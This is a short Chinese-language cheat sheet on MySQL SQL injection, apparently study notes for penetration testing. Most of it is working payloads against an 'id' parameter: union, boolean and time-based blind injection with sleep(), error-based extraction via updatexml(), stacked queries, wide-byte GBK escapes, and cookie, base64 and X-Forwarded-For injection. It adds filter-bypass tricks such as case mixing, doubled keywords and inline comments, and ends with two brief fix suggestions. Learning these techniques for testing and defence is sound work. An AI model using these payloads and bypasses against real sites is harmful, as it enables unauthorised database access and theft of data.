没有对用户输入数据的合法性没有判断。
id = 1 / id = 1’ /id = 1 and 1=1 /id = 1 and 1=2
MySQL5.0后默认有information_schema数据库,表schemata、tables、columns
database()、version()、user()函数
limit m,n m记录开始的位置,n取的条数
mysql注释符: # – /**/
内联注释 /!code/
?id=-1 /!union/ /!select/ 1,2,3
1.union 注入 union select
2.Boolean注入
只有yes/no返回
1)采用length()函数判断长度,列如;
id=1’ and length(database()) >= 1 --+
2)采用substr()函数截取查询值,列如: #substr(x,m,n) x截取对象,M从1开始,n多少条
id=1’ and substr(database(),1,1) = ‘t’ --+
3)采用ord(),在mysql中为ASCII转换函数,列如:
id=1’ and ord(substr(database(),1,1)) = 115 --+
3.报错注入
有错误的回显展示。
使用updatexml()、floor()、exp()将查询的内容输出,列如·;
id=1’ and updatexml(1,concat(0x7e,(select user()),0x7e),1)–+
4.时间盲注
利用回包的时间来判断数据库,与IF结合,利用sleep()、benchmark()函数让mysql的执行时间变长。
if(x,m,n) 如果x是true,返回m,否则返回n 列如:
id = 1’ and if(length(database())>1,sleep(5),1) #如果database()名大于1,休眠5s
5.堆叠注入
堆叠查询可以执行多条语句,以分号隔开。列如:
id=1’ ; select if(substr(user(),1,1) = ‘r’,sleep(3),1)#
6.二次注入
两个数据包,第一个的注入查询结果作为第二个的参数
7.宽字节注入
单引号被转义为\‘,导致ID无法逃逸单引号,\ 的编码是%5c,在GBK中,%df%5c是 繁体字,可以使单引号逃逸成功。有时候需要结合嵌套查询。
首先数据库的编码为GBK,宽字节的格式是地址后先加一个%df,列如:
id = 1%df ’ and 1 = 1#
在PHP中,使用iconv()进行编码转换时,也可能存在宽字节注入。
8.cookie注入
在数据包中,也有可能是cookie传参,在cookie的地方进行注入
9.base64注入
id=1’ 将注入测试语句进行base64加密,有时候需要两次加密
10.XFF注入
在数据包中,X-Forwarded-Fof 可能存在注入,列如:
X-Forwarded-for:127.0.0.1’ and 1=1
SQL注入绕过技术:
1.大小写:And aNd anD Select sElect…
2.双写:aandnd oorrder oorr…
3.编码:URL编码,有时候可以两次编码
4.内联注释:id =1 /!and/ 1=1
SQL修复建议:
1.过滤危险字符 正则表达式
2.使用预编译语句 PDO